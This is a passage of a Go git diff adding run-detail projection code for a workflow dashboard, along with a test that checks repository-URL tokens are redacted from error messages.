 		t.Fatalf("ResolveVersion: %v", err)
 	}
@@ -35,7 +39,7 @@ func TestResolveVersionSupportsComparators(t *testing.T) {
 }
 
 func TestResolveVersionSupportsSHA(t *testing.T) {
-	got, err := ResolveVersion("https://github.com/example/repo", "sha:deadbeef")
+	got, err := ResolveVersion("", "https://github.com/example/repo", "sha:deadbeef")
 	if err != nil {
 		t.Fatalf("ResolveVersion: %v", err)
 	}
@@ -44,6 +48,22 @@ func TestResolveVersionSupportsSHA(t *testing.T) {
 	}
 }
 
+func TestResolveVersionRedactsUserinfoInError(t *testing.T) {
+	prev := runNetworkGit
+	runNetworkGit = func(_, _, _ string, _ ...string) (string, error) {
+		return "", errors.New("git failed")
+	}
+	t.Cleanup(func() { runNetworkGit = prev })
+
+	_, err := ResolveVersion("", "https://user:ghp_secret@github.com/example/repo", "^1.0")
+	if err == nil {
+		t.Fatalf("expected an error from the failing ls-remote")
+	}
+	if strings.Contains(err.Error(), "ghp_secret") {
+		t.Fatalf("error leaked the userinfo token: %v", err)
+	}
+}
+
 func TestDefaultConstraint(t *testing.T) {
 	got, err := DefaultConstraint("1.4.2")
 	if err != nil {
diff --git a/internal/runproj/detail.go b/internal/runproj/detail.go
new file mode 100644
index 0000000000..07ec44d8d0
--- /dev/null
+++ b/internal/runproj/detail.go
@@ -0,0 +1,756 @@
+package runproj
+
+import (
+	"fmt"
+	"strings"
+	"sync/atomic"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// snapshotScanCount counts every snapshotForRun invocation. It exists so a test
+// can prove the single-scan entry points fold a run exactly once (the detail
+// path used to scan twice — once for the formula target, once for the build).
+// It carries no production behavior.
+var snapshotScanCount atomic.Int64
+
+// RunSnapshot is an opaque, already-computed run snapshot. It lets a caller fold
+// a run's beads ONCE (SnapshotForRun) and then serve both the formula-target
+// extraction (FormulaTargetFromSnapshot) and the full detail build
+// (BuildRunDetailFromSnapshot) off that single scan, instead of re-scanning the
+// city's beads per operation. The internal shape stays package-private; callers
+// treat the value as a token.
+type RunSnapshot struct {
+	raw runSnapshot
+}
+
+// SnapshotForRun folds beadList into the run rooted at runID exactly once,
+// returning an opaque snapshot both FormulaTargetFromSnapshot and
+// BuildRunDetailFromSnapshot consume. version and eventSeq parameterize the
+// snapshot identity (the golden passes 1/100; the live tailer passes a real
+// version and its LastSeq cursor). It returns an error only when the run root is
+// absent from beadList.
+func SnapshotForRun(beadList []beads.Bead, runID string, version int, eventSeq int64) (RunSnapshot, error) {
+	raw, err := snapshotForRun(beadList, runID, version, eventSeq)
+	if err != nil {
+		return RunSnapshot{}, err
+	}
+	return RunSnapshot{raw: raw}, nil
+}
+
+// FormulaTargetFromSnapshot resolves the compiled-formula name, preview target,
+// and run scope from an already-computed snapshot, applying the exact identity
+// and scope resolution RunFormulaTargetForRun applies. ok is false when the run
+// is not a fetchable graph.v2 run, lacks a formula name+target, or has no valid
+// scope.
+//
+// The resolution reads only version/seq-INDEPENDENT snapshot fields (the root
+// bead's formula metadata and the scope kind/ref/root-store-ref), so a snapshot
+// built with a real version/eventSeq yields the same target a zero-version
+// snapshot would — the invariant that lets detail() fold once and serve both.
+func FormulaTargetFromSnapshot(snap RunSnapshot) (name, target, scopeKind, scopeRef string, ok bool) {
+	return formulaTargetFromSnapshot(snap.raw)
+}
+
+// BuildRunDetailFromSnapshot projects an already-computed snapshot into the
+// run-detail DTO, layering the optional request-time sessions and compiled
+// formula detail (both nil on the golden path). It is the single-scan analog of
+// BuildRunDetailWithSessionsAndFormula: same inputs, same output, but off a
+// snapshot the caller already folded. fetchFailure records why a live
+// formula-detail fetch failed when formulaDetail is nil (empty defaults to
+// upstream_error).
+func BuildRunDetailFromSnapshot(snap RunSnapshot, sessions []DashboardSession, formulaDetail *FormulaOrderingDetail, fetchFailure RunFormulaDetailFetchFailure) (FormulaRunDetail, error) {
+	return enrichFormulaRun(snap.raw, sessions, formulaDetail.toInput(), fetchFailure)
+}
+
+// BuildRunDetailForRun folds a run ONCE and returns both the detail DTO and the
+// run's compiled-formula target in one scan. It is a combined convenience entry
+// point for callers (and tests) that already hold the formula and want the
+// target plus the detail off a single fold. The dashboard BFF does NOT call it:
+// its detail() drives the same primitives directly (SnapshotForRun →
+// FormulaTargetFromSnapshot → BuildRunDetailFromSnapshot) so it can cache the
+// folded snapshot across requests and layer request-time sessions/formula
+// enrichment per build — a chicken-and-egg this combined form cannot express,
+// since it needs the fetched formula as input but only returns the target used
+// to fetch it. Keeping the composition here gives it one tested home.
+//
+// The (name, target, scopeKind, scopeRef, targetOK) return is the formula target
+// resolved off the SAME snapshot as the detail, so it equals what
+// RunFormulaTargetForRun would report for the run. A caller fetches the compiled
+// formula from that target and passes it back in on a later build (the formula
+// detail is request-time enrichment, layered per build, not carried in the
+// snapshot).
+func BuildRunDetailForRun(beadList []beads.Bead, runID string, version int, eventSeq int64, sessions []DashboardSession, formulaDetail *FormulaOrderingDetail, fetchFailure RunFormulaDetailFetchFailure) (detail FormulaRunDetail, name, target, scopeKind, scopeRef string, targetOK bool, err error) {
+	snap, err := SnapshotForRun(beadList, runID, version, eventSeq)
+	if err != nil {
+		return FormulaRunDetail{}, "", "", "", "", false, err
+	}
+	name, target, scopeKind, scopeRef, targetOK = FormulaTargetFromSnapshot(snap)
+	detail, err = BuildRunDetailFromSnapshot(snap, sessions, formulaDetail, fetchFailure)
+	return detail, name, target, scopeKind, scopeRef, targetOK, err
+}
+
+// UnsupportedRunReason distinguishes the expected v1/wisp case ("not_run_view" —
+// the run lists but has no graph.v2 detail) from a malformed graph.v2 snapshot
+// ("invalid_snapshot" — a genuine load failure). Port of TS UnsupportedRunReason
+// (gascity-dashboard-9w3k).
+type UnsupportedRunReason string
+
+const (
+	// ReasonNotRunView marks a run that has no graph.v2 detail view.
+	ReasonNotRunView UnsupportedRunReason = "not_run_view"
+	// ReasonInvalidSnapshot marks a malformed graph.v2 snapshot.
+	ReasonInvalidSnapshot UnsupportedRunReason = "invalid_snapshot"
+)
+
+// UnsupportedRunError is returned when a run cannot be projected into a detail
+// view. Port of TS UnsupportedRunError.
+type UnsupportedRunError struct {
+	Message string
+	Reason  UnsupportedRunReason
+}
+
+func (e *UnsupportedRunError) Error() string { return e.Message }
+
+func unsupportedRun(message string, reason UnsupportedRunReason) error {
+	return &UnsupportedRunError{Message: message, Reason: reason}
+}
+
+// BuildRunDetail projects one run's folded beads into the dashboard run-detail
+// DTO. It is the bead-derived entry point that reproduces the supervisor's
+// /workflow/{id} projection client-side: it synthesizes a run snapshot for runID
+// from beadList (member selection + dep synthesis, mirroring the golden
+// generator's snapshotForRun), then runs the shared detail pipeline. No sessions
+// or compiled formula are layered here — that enrichment is request-time on the
+// endpoint. snapshotVersion and snapshotEventSeq parameterize the snapshot
+// identity (the golden passes 1/100; the live tailer passes a real version and
+// its LastSeq cursor).
+//
+// It returns an *UnsupportedRunError when the run is not a graph.v2 run or its
+// snapshot identity/scope is missing — the same cases the TS enrichFormulaRun
+// throws on.
+func BuildRunDetail(beadList []beads.Bead, runID string, snapshotVersion int, snapshotEventSeq int64) (FormulaRunDetail, error) {
+	return BuildRunDetailWithSessions(beadList, runID, snapshotVersion, snapshotEventSeq, nil)
+}
+
+// BuildRunDetailWithSessions is BuildRunDetail with a request-time session list
+// layered in, so the detail's execution-instance session links and the
+// streamable-session progress resolve against live sessions. The golden path
+// passes nil (BuildRunDetail); the live endpoint passes the loopback /v0 sessions
+// read. Session enrichment is NOT golden-gated.
+func BuildRunDetailWithSessions(beadList []beads.Bead, runID string, snapshotVersion int, snapshotEventSeq int64, sessions []DashboardSession) (FormulaRunDetail, error) {
+	return BuildRunDetailWithSessionsAndFormula(beadList, runID, snapshotVersion, snapshotEventSeq, sessions, nil, FormulaDetailUpstreamError)
+}
+
+// BuildRunDetailWithSessionsAndFormula is BuildRunDetailWithSessions with the
+// supervisor's compiled formula detail layered in as well. Like sessions, this
+// is request-time endpoint enrichment (NOT golden-gated): the live endpoint
+// fetches the compiled formula for a run's name+target and passes it here so the
+// run's nodes honor the authored step order and the formula-detail state resolves
+// to "available". A nil formulaDetail keeps the un-enriched projection — the
+// detail state then resolves from run metadata alone (a missing_* arm, or, once a
+// name+target are known but no detail was supplied, the fetch_failed arm that
+// honestly reports a run whose compiled formula could not be layered in).
+// fetchFailure is the reason the live fetch failed when formulaDetail is nil
+// (FormulaDetailNotFound for a supervisor 404, else FormulaDetailUpstreamError);
+// callers with no live fetch pass FormulaDetailUpstreamError.
+func BuildRunDetailWithSessionsAndFormula(beadList []beads.Bead, runID string, snapshotVersion int, snapshotEventSeq int64, sessions []DashboardSession, formulaDetail *FormulaOrderingDetail, fetchFailure RunFormulaDetailFetchFailure) (FormulaRunDetail, error) {
+	snap, err := snapshotForRun(beadList, runID, snapshotVersion, snapshotEventSeq)
+	if err != nil {
+		return FormulaRunDetail{}, err
+	}
+	return enrichFormulaRun(snap, sessions, formulaDetail.toInput(), fetchFailure)
+}
+
+// RunFormulaTargetForRun resolves the compiled-formula name, preview target, and
+// run scope for the run rooted at runID, reusing the exact identity and scope
+// resolution the detail build applies. ok is false when the run is not a
+// fetchable graph.v2 run, lacks a formula name+target, or has no valid scope.
+//
+// The dashboard BFF calls this to decide whether to fetch the supervisor's
+// compiled formula detail and to target the correct formula layer. The
+// formula-detail endpoint resolves the compiled formula against scope-derived
+// search paths, so a rig-scoped run must send its scope_kind/scope_ref or the
+// lookup resolves the wrong layer (or is rejected for missing required scope).
+func RunFormulaTargetForRun(beadList []beads.Bead, runID string) (name, target, scopeKind, scopeRef string, ok bool) {
+	snap, err := snapshotForRun(beadList, runID, 0, 0)
+	if err != nil {
+		return "", "", "", "", false
+	}
+	return formulaTargetFromSnapshot(snap)
+}
+
+// formulaTargetFromSnapshot is the shared formula-target resolution both
+// RunFormulaTargetForRun and FormulaTargetFromSnapshot delegate to. It reads only
+// version/seq-independent snapshot fields, so the result is identical whether the
+// snapshot was built at version=0 (the old target-only scan) or at the run's real
+// version/seq (the single-scan build).
+func formulaTargetFromSnapshot(snap runSnapshot) (name, target, scopeKind, scopeRef string, ok bool) {
+	if !isGraphV2(snap) {
+		return "", "", "", "", false
+	}
+	root := rootBead(dedupeBeads(snap.beads), nonEmpty(snap.rootBeadID))
+	name, _, target, hasName := resolveRunFormulaIdentityDetailState(root, "", false)
+	if !hasName || target == "" {
+		return "", "", "", "", false
+	}
+	scopeKind, scopeRef, scopeOK := fromSnapshotScope(snap)
+	if !scopeOK {
+		return "", "", "", "", false
+	}
+	return name, target, scopeKind, scopeRef, true
+}
+
+// snapshotForRun synthesizes a run snapshot for one root from the folded beads:
+// member selection, the issue_type→kind / ref→step_ref projection (port of the
+// golden generator's snapshotForRun + toRunSnapshotBead), snapshot identity from
+// root metadata, and the dependency edges via snapshotDeps — the real bead
+// dependencies plus the root→member parent edges, so the detail graph renders the
+// actual step→step DAG the supervisor snapshot carried, not just parent links.
+func snapshotForRun(beadList []beads.Bead, rootID string, version int, eventSeq int64) (runSnapshot, error) {
+	snapshotScanCount.Add(1)
+	rootIdx := -1
+	for i := range beadList {
+		if beadList[i].ID == rootID {
+			rootIdx = i
+			break
+		}
+	}
+	if rootIdx < 0 {
+		return runSnapshot{}, fmt.Errorf("runproj: detail run root %q not found", rootID)
+	}
+	root := beadList[rootIdx]
+
+	var members []beads.Bead
+	for i := range beadList {
+		b := beadList[i]
+		if b.ID == rootID ||
+			b.ParentID == rootID ||
+			b.Metadata[beadmeta.RootBeadIDMetadataKey] == rootID ||
+			strings.HasPrefix(b.ID, rootID+".") {
+			members = append(members, b)
+		}
+	}
+
+	snapBeads := make([]runSnapshotBead, 0, len(members))
+	for i := range members {
+		snapBeads = append(snapBeads, toRunSnapshotBead(members[i]))
+	}
+
+	seq := eventSeq
+	rootStoreRef := root.Metadata[beadmeta.RootStoreRefMetadataKey]
+	return runSnapshot{
+		runID:             rootID,
+		rootBeadID:        rootID,
+		rootStoreRef:      rootStoreRef,
+		resolvedRootStore: rootStoreRef,
+		scopeKind:         root.Metadata[beadmeta.ScopeKindMetadataKey],
+		scopeRef:          root.Metadata[beadmeta.ScopeRefMetadataKey],
+		snapshotVersion:   version,
+		snapshotEventSeq:  &seq,
+		partial:           false,
+		storesScanned:     []string{rootStoreRef},
+		beads:             snapBeads,
+		deps:              snapshotDeps(members),
+		// logicalEdges stays nil on the bead-derived path: the supervisor's
+		// precomputed logical edges are not available here, so buildRunDisplayEdges
+		// derives the display graph from deps (bridging hidden scope-check nodes),
+		// which reproduces the supervisor's logical-edge behavior.
+		logicalEdges: nil,
+	}, nil
+}
+
+// toRunSnapshotBead projects a folded bead into the supervisor run-snapshot row.
+// Port of the golden generator's toRunSnapshotBead (issue_type→kind unless
+// gc.original_kind overrides; ref→step_ref; scope_ref / logical_bead_id mirrored
+// from metadata).
+func toRunSnapshotBead(b beads.Bead) runSnapshotBead {
+	kind := b.Type
+	if v, ok := b.Metadata[beadmeta.OriginalKindMetadataKey]; ok {
+		kind = v
+	}
+	return runSnapshotBead{
+		id:            b.ID,
+		title:         b.Title,
+		status:        b.Status,
+		kind:          kind,
+		stepRef:       b.Ref,
+		assignee:      b.Assignee,
+		scopeRef:      b.Metadata[beadmeta.ScopeRefMetadataKey],
+		logicalBeadID: b.Metadata[beadmeta.LogicalBeadIDMetadataKey],
+		metadata:      b.Metadata,
+	}
+}
+
+// snapshotDeps synthesizes a run snapshot's dependency edges from the folded
+// members. It reproduces the supervisor RunSnapshot's dep set on the OSS-local
+// path: the real bead dependency edges each member carries (its Dependencies and
+// Needs) merged with the root→member parent edges, using the same edge direction
+// and dedup semantics as the supervisor graph API's collectWorkflowDeps
+// (internal/api/handler_convoy_dispatch.go) — the prerequisite (DependsOnID) is
+// the edge source and the dependent (IssueID) the target, carrying the dep type.
+// Edges to beads outside the run are dropped, since the detail graph can only
+// render members it holds. Without the real edges, buildRunDisplayEdges would
+// project only root→member parent edges and every genuine step→step dependency
+// (and the logical graph derived from it) would be lost.
+func snapshotDeps(members []beads.Bead) []runSnapshotDep {
+	if len(members) == 0 {
+		return nil
+	}
+	memberIDs := make(map[string]bool, len(members))
+	for i := range members {
+		memberIDs[members[i].ID] = true
+	}
+
+	deps := make([]runSnapshotDep, 0, len(members))
+	seen := make(map[string]bool)
+	add := func(from, to, kind string) {
+		if from == "" || to == "" || from == to {
+			return
+		}
+		if !memberIDs[from] || !memberIDs[to] {
+			return
+		}
+		key := from + "\x00" + to + "\x00" + kind
+		if seen[key] {
+			return
+		}
+		seen[key] = true
+		deps = append(deps, runSnapshotDep{from: from, to: to, kind: kind})
+	}
+
+	// Real dependency edges the fold preserved on each member: the structured
+	// Dependencies (issue depends-on a prerequisite, carrying the dep type) and
+	// the simpler Needs prerequisite list. The prerequisite is the source and the
+	// dependent the target, matching collectWorkflowDeps.
+	for i := range members {
+		b := members[i]
+		for _, d := range b.Dependencies {
+			add(d.DependsOnID, d.IssueID, d.Type)
+		}
+		for _, need := range b.Needs {
+			add(need, b.ID, "")
+		}
+	}
+
+	// Root→member parent edges (the first-seen member is the root in fold order).
+	rootID := members[0].ID
+	for i := range members {
+		if members[i].ID == rootID {
+			continue
+		}
+		add(rootID, members[i].ID, "parent")
+	}
+	return deps
+}
+
+// runningFormulaRunInput mirrors the TS RunningFormulaRunInput. formulaDetail and
+// sessions are nil on the bead-derived path; the live endpoint layers sessions in
+// at request time. formulaDetailFailure records why the live fetch failed when
+// formulaDetail is nil (not_found for a 404, else upstream_error); it is empty on
+// the bead-derived path and defaults to upstream_error.
+type runningFormulaRunInput struct {
+	raw                  runSnapshot
+	runID                string
+	rootBeadID           string
+	rootStoreRef         string
+	resolvedRootStore    string
+	scopeKind            string
+	scopeRef             string
+	root                 *runSnapshotBead
+	beads                []runSnapshotBead
+	rigRoot              string
+	sessions             []DashboardSession
+	formulaDetail        *formulaDetailInput
+	formulaDetailFailure RunFormulaDetailFetchFailure
+}
+
+// runningFormulaRun carries the orchestrated detail outputs enrichFormulaRun
+// assembles into the DTO. Port of the consumed subset of TS RunningFormulaRun.
+type runningFormulaRun struct {
+	title         string
+	formula       RunFormula
+	formulaDetail RunFormulaDetailState
+	executionPath RunExecutionPath
+	progress      FormulaRunProgress
+	phase         string
+	stages        []RunStage
+	nodes         []RunDisplayNode
+	edges         []RunDisplayEdge
+	lanes         []RunDisplayLane
+}
+
+// enrichFormulaRun is the bead-derived detail pipeline entry. Port of TS
+// enrichFormulaRun (enrich.ts). sessions and formulaDetail carry the optional
+// request-time enrichment (both nil on the golden path). fetchFailure records why
+// a live formula-detail fetch failed when formulaDetail is nil (empty on the
+// golden path, defaulting to upstream_error).
+func enrichFormulaRun(raw runSnapshot, sessions []DashboardSession, formulaDetail *formulaDetailInput, fetchFailure RunFormulaDetailFetchFailure) (FormulaRunDetail, error) {
+	if !isGraphV2(raw) {
+		return FormulaRunDetail{}, unsupportedRun("run is not a graph.v2 run", ReasonNotRunView)
+	}
+
+	rootBeadID := nonEmpty(raw.rootBeadID)
+	runID := nonEmpty(raw.runID)
+	rootStoreRef := nonEmpty(raw.rootStoreRef)
+	resolvedRootStore := nonEmpty(raw.resolvedRootStore)
+	deduped := dedupeBeads(raw.beads)
+	root := rootBead(deduped, rootBeadID)
+	scopeKind, scopeRef, scopeOK := fromSnapshotScope(raw)
+
+	if runID == "" || rootStoreRef == "" || resolvedRootStore == "" {
+		return FormulaRunDetail{}, unsupportedRun("run snapshot identity is missing or invalid", ReasonInvalidSnapshot)
+	}
+	if !scopeOK {
+		return FormulaRunDetail{}, unsupportedRun("run scope is missing or invalid", ReasonInvalidSnapshot)
+	}
+
+	formulaRun := buildRunningFormulaRun(runningFormulaRunInput{
+		raw:                  raw,
+		runID:                runID,
+		rootBeadID:           rootBeadID,
+		rootStoreRef:         rootStoreRef,
+		resolvedRootStore:    resolvedRootStore,
+		scopeKind:            scopeKind,
+		scopeRef:             scopeRef,
+		root:                 root,
+		beads:                deduped,
+		sessions:             sessions,
+		formulaDetail:        formulaDetail,
+		formulaDetailFailure: fetchFailure,
+	})
+
+	var partialReasons []string
+	if raw.partial {
+		partialReasons = []string{"supervisor_snapshot_partial"}
+	}
+
+	return FormulaRunDetail{
+		RunID:             runID,
+		RootBeadID:        rootBeadID,
+		RootStoreRef:      rootStoreRef,
+		ResolvedRootStore: resolvedRootStore,
+		ScopeKind:         scopeKind,
+		ScopeRef:          scopeRef,
+		Title:             formulaRun.title,
+		Formula:           formulaRun.formula,
+		FormulaDetail:     formulaRun.formulaDetail,
+		ExecutionPath:     formulaRun.executionPath,
+		SnapshotVersion:   raw.snapshotVersion,
+		SnapshotEventSeq:  formulaRun.progress.SnapshotEventSeq,
+		Completeness:      formulaRunCompleteness(partialReasons),
+		Progress:          formulaRun.progress,
+		Phase:             formulaRun.phase,
+		Stages:            formulaRun.stages,
+		Nodes:             formulaRun.nodes,
+		Edges:             formulaRun.edges,
+		Lanes:             formulaRun.lanes,
+	}, nil
+}
+
+// buildRunningFormulaRun is the central detail aggregation. Port of TS
+// buildRunningFormulaRun (formula-run.ts).
+func buildRunningFormulaRun(input runningFormulaRunInput) runningFormulaRun {
+	bg := groupRunBeads(input.beads, input.rootBeadID)
+	groups := orderRunNodeGroups(bg.groups, input.formulaDetail, input.rootBeadID)
+	latestIterationByLoop := latestIterationsByLoop(groups)
+	sessionIndex := buildRunSessionIndex(input.sessions)
+	sessionContext := runSessionLinkContext{sessionIndex: &sessionIndex, scopeRef: input.scopeRef}
+
+	rawNodes := make([]RunDisplayNode, 0, len(groups))
+	for _, group := range groups {
+		latest, hasLatest := latestIterationByLoop[group.loopControlNodeID]
+		rawNodes = append(rawNodes, buildRunDisplayNode(
+			group,
+			bg.badgesByTarget[group.semanticNodeID],
+			latest,
+			hasLatest,
+			sessionContext,
+		))
+	}
+	edges := buildRunDisplayEdges(input.raw, bg.physicalToSemantic, rawNodes)
+	nodes := applyDisplayNodeStates(rawNodes, edges)
+	progress := buildFormulaRunProgress(input.raw, nodes, edges)
+
+	hasFormulaDetail := input.formulaDetail != nil
+	formula := runFormulaState(input.root, hasFormulaDetail)
+	formulaDetail := runFormulaDetailState(input.root, hasFormulaDetail, input.formulaDetailFailure)
+	executionPath := resolveRunExecutionPath(input.root, input.beads, input.rigRoot)
+
+	issues := make([]runIssue, 0, len(input.beads))
+	for i := range input.beads {
+		issues = append(issues, fromRunSnapshotBead(input.beads[i]))
+	}
+	phase := mapRunPhase(issues)
+	formulaName, hasFormulaName := "", false
+	if formula.Kind == "known" {
+		formulaName, hasFormulaName = formula.Name, true
+	}
+	stages := stageProgress(phase, formulaName, hasFormulaName, issues)
+
+	title := input.runID
+	if input.root != nil {
+		if t := nonEmpty(input.root.title); t != "" {
+			title = t
+		}
+	}
+
+	return runningFormulaRun{
+		title:         title,
+		formula:       formula,
+		formulaDetail: formulaDetail,
+		executionPath: executionPath,
+		progress:      progress,
+		phase:         phase.phase,
+		stages:        stages,
+		nodes:         nodes,
+		edges:         edges,
+		lanes:         buildRunDisplayLanes(nodes),
+	}
+}
+
+// fromRunSnapshotBead adapts a run-snapshot bead to the phase classifier's
+// runIssue. Port of TS fromRunSnapshotBead (formula-run.ts): kind→issue_type,
+// empty updated_at, gc.parent_bead_id → parent.
+func fromRunSnapshotBead(bead runSnapshotBead) runIssue {
+	issue := runIssue{
+		id:        bead.id,
+		title:     bead.title,
+		status:    bead.status,
+		issueType: bead.kind,
+		updatedAt: "",
+		metadata:  bead.metadata,
+	}
+	if bead.assignee != "" {
+		issue.assignee = bead.assignee
+	}
+	if parent := beadMeta(bead, beadmeta.ParentBeadIDMetadataKey); parent != "" {
+		issue.parent = parent
+	}
+	return issue
+}
+
+// runFormulaState resolves the run's formula identity union. Port of TS
+// runFormulaState.
+func runFormulaState(root *runSnapshotBead, hasFormulaDetail bool) RunFormula {
+	name, source, _, hasName := resolveRunFormulaIdentityDetailState(root, "", hasFormulaDetail)
+	if hasName {
+		resolvedSource := "metadata"
+		if source == "title_fallback" {
+			resolvedSource = "title_fallback"
+		}
+		return RunFormula{Kind: "known", Name: name, Source: resolvedSource}
+	}
+	return RunFormula{Kind: "unavailable", Reason: "missing_formula_metadata"}
+}
+
+// runFormulaDetailState resolves the compiled-formula-detail union. Port of TS
+// runFormulaDetailState. When a name+target are known but no compiled detail was
+// layered in, it reports the fetch_failed arm with fetchFailure as the reason:
+// the live BFF passes not_found for a supervisor 404 and upstream_error for every
+// other failure, matching the TS formulaDetailFetchFailure mapping. The
+// bead-derived path (no live fetch) leaves fetchFailure empty and defaults to
+// upstream_error.
+func runFormulaDetailState(root *runSnapshotBead, hasFormulaDetail bool, fetchFailure RunFormulaDetailFetchFailure) RunFormulaDetailState {
+	name, _, target, hasName := resolveRunFormulaIdentityDetailState(root, "", hasFormulaDetail)
+	if !hasName {
+		return RunFormulaDetailState{Kind: "unavailable", Reason: "missing_formula_metadata"}
+	}
+	if target == "" {
+		return RunFormulaDetailState{Kind: "unavailable", Reason: "missing_run_target", Name: name}
+	}
+	if hasFormulaDetail {
+		return RunFormulaDetailState{Kind: "available", Name: name, Target: target}
+	}
+	failure := fetchFailure
+	if failure == "" {
+		failure = FormulaDetailUpstreamError
+	}
+	return RunFormulaDetailState{
+		Kind:    "unavailable",
+		Reason:  "fetch_failed",
+		Name:    name,
+		Target:  target,
+		Failure: string(failure),
+	}
+}
+
+// buildFormulaRunProgress computes the run progress/census. Port of TS
+// buildFormulaRunProgress.
+func buildFormulaRunProgress(raw runSnapshot, nodes []RunDisplayNode, edges []RunDisplayEdge) FormulaRunProgress {
+	visibleCount := 0
+	for _, node := range nodes {
+		if node.VisibleInGraph {
+			visibleCount++
+		}
+	}
+
+	streamableSessionIDs := []string{}
+	seenStreamable := map[string]bool{}
+	executionInstanceCount, sessionLinkCount, streamableSessionCount := 0, 0, 0
+
+	for _, node := range nodes {
+		for _, instance := range node.ExecutionInstances {
+			executionInstanceCount++
+			if instance.Session.Kind == "attached" {
+				sessionLinkCount++
+				if instance.Session.Streamable {
+					streamableSessionCount++
+					id := instance.Session.Link.SessionID
+					if !seenStreamable[id] {
+						seenStreamable[id] = true
+						streamableSessionIDs = append(streamableSessionIDs, id)
+					}
+				}
+			}
+		}
+	}
+
+	var visibleStatuses, allStatuses nodeStatusCounts
+	for _, node := range nodes {
+		allStatuses.inc(node.Status)
+		if node.VisibleInGraph {
+			visibleStatuses.inc(node.Status)
+		}
+	}
+
+	return FormulaRunProgress{
+		SnapshotVersion:        raw.snapshotVersion,
+		SnapshotEventSeq:       runSnapshotSequenceOf(raw.snapshotEventSeq),
+		SnapshotPartial:        raw.partial,
+		TotalNodeCount:         len(nodes),
+		VisibleNodeCount:       visibleCount,
+		EdgeCount:              len(edges),
+		ExecutionInstanceCount: executionInstanceCount,
+		SessionLinkCount:       sessionLinkCount,
+		StreamableSessionCount: streamableSessionCount,
+		StreamableSessionIDs:   streamableSessionIDs,
+		StatusCounts:           visibleStatuses,
+		AllStatusCounts:        allStatuses,
+		Terminal:               deriveRunTerminal(visibleStatuses, visibleCount),
+	}
+}
+
+// terminalRunNodeStatuses and nonTerminalRunNodeStatuses partition every
+// RunNodeStatus value (shared/src/run-detail.ts) into its terminality class.
+// This is the single Go-side source of the taxonomy the client used to
+// duplicate; allRunNodeStatuses is the union the taxonomy test enumerates so a
+// newly-added status must be explicitly classified here (or the test fails).
+var (
+	terminalRunNodeStatuses    = []string{"completed", "done", "failed", "skipped"}
+	nonTerminalRunNodeStatuses = []string{"pending", "ready", "running", "active", "blocked"}
+)
+
+// deriveRunTerminal reports whether the run has reached a terminal state, using
+// the visible-node status census. It matches the retired client isTerminalProgress
+// fold exactly: terminal iff there is at least one visible node, no visible node
+// sits in a non-terminal status, and the terminal-status tally covers every
+// visible node.
+func deriveRunTerminal(visibleStatuses nodeStatusCounts, visibleCount int) bool {
+	if visibleCount <= 0 {
+		return false
+	}
+	if sumStatusCounts(visibleStatuses, nonTerminalRunNodeStatuses) > 0 {
+		return false
+	}
+	return sumStatusCounts(visibleStatuses, terminalRunNodeStatuses) >= visibleCount
+}
+
+// sumStatusCounts totals the counts of the given statuses (absent statuses
+// contribute zero), mirroring the client's `?? 0` reduction.
+func sumStatusCounts(counts nodeStatusCounts, statuses []string) int {
+	total := 0
+	for _, status := range statuses {
+		total += counts.counts[status]
+	}
+	return total
+}
+
+// runSnapshotSequenceOf renders the snapshot-sequence union. Port of TS
+// runSnapshotSequence (nil seq → supervisor_omitted).
+func runSnapshotSequenceOf(seq *int64) RunSnapshotSequence {
+	if seq != nil {
+		return RunSnapshotSequence{Kind: "known", Seq: *seq}
+	}
+	return RunSnapshotSequence{Kind: "unavailable", Reason: "supervisor_omitted"}
+}
+
+// formulaRunCompleteness collapses partial reasons into the completeness union.
+// Port of TS formulaRunCompleteness (dedupes reasons, preserving first-seen order).
+func formulaRunCompleteness(reasons []string) FormulaRunCompleteness {
+	seen := map[string]bool{}
+	var unique []string
+	for _, r := range reasons {
+		if !seen[r] {
+			seen[r] = true
+			unique = append(unique, r)
+		}
+	}
+	if len(unique) == 0 {
+		return FormulaRunCompleteness{Kind: "complete"}
+	}
+	return FormulaRunCompleteness{Kind: "partial", Reasons: unique}
+}
+
+// isGraphV2 reports whether the snapshot's root carries gc.formula_contract =
+// graph.v2. Port of TS isGraphV2.
+func isGraphV2(raw runSnapshot) bool {
+	root := rootBead(raw.beads, raw.rootBeadID)
+	return rootMetaPtr(root, beadmeta.FormulaContractMetadataKey) == "graph.v2"
+}
+
+// rootBead finds the root bead by id. Port of TS rootBead (nil mirrors undefined).
+func rootBead(beads []runSnapshotBead, rootBeadID string) *runSnapshotBead {
+	rootID := nonEmpty(rootBeadID)
+	if rootID == "" {
+		return nil
+	}
+	for i := range beads {
+		if nonEmpty(beads[i].id) == rootID {
+			return &beads[i]
+		}
+	}
+	return nil
+}
+
+// dedupeBeads drops beads whose id repeats, keeping the first. Port of TS
+// dedupeBeads (empty-id beads are kept).
+func dedupeBeads(in []runSnapshotBead) []runSnapshotBead {
+	seen := map[string]bool{}
+	out := make([]runSnapshotBead, 0, len(in))
+	for _, bead := range in {
+		id := nonEmpty(bead.id)
+		if id != "" {
+			if seen[id] {
+				continue
+			}
+			seen[id] = true
+		}
+		out = append(out, bead)
+	}
+	return out
+}
+
+// fromSnapshotScope resolves the run scope from the snapshot identity. Port of TS
+// fromSnapshotScope (bool mirrors null), extended with the same gc.root_store_ref
+// fallback summary already applies via fromRootMetadataScope: the explicit
+// gc.scope_kind/gc.scope_ref pair wins, but a root carrying only gc.root_store_ref
+// recovers its scope from that store ref. Without the fallback a run that lists
+// successfully in /runs/summary (which uses fromRootMetadataScope) would 422 with
+// invalid_snapshot when opened in /runs/{id}/detail.
+func fromSnapshotScope(raw runSnapshot) (kind, ref string, ok bool) {
+	scopeKind, kindOK := parseRunScopeKind(raw.scopeKind)
+	scopeRef := stringValueOrEmpty(raw.scopeRef)
+	if kindOK && scopeRef != "" {
+		return scopeKind, scopeRef, true
+	}
+	// Fallback (gascity-dashboard-km0w): recover the scope from the snapshot's
+	// gc.root_store_ref, matching summary's fromRootMetadataScope so a run scoped
+	// only by its root store ref opens in detail instead of failing invalid.
+	parsedKind, parsedRef, storeOK := fromStoreRef(raw.rootStoreRef)
+	if storeOK && scopeRefRe.MatchString(parsedRef) {
+		return parsedKind, parsedRef, true
+	}
+	return "", "", false
+}
diff --git a/internal/runproj/detail_consistency_test.go b/internal/runproj/detail_consistency_test.go
new file mode 100644
index 0000000000..53e0e483e9
--- /dev/null
+++ b/internal/runproj/detail_consistency_test.go
@@ -0,0 +1,60 @@
+package runproj
+
+import (
+	"encoding/json"
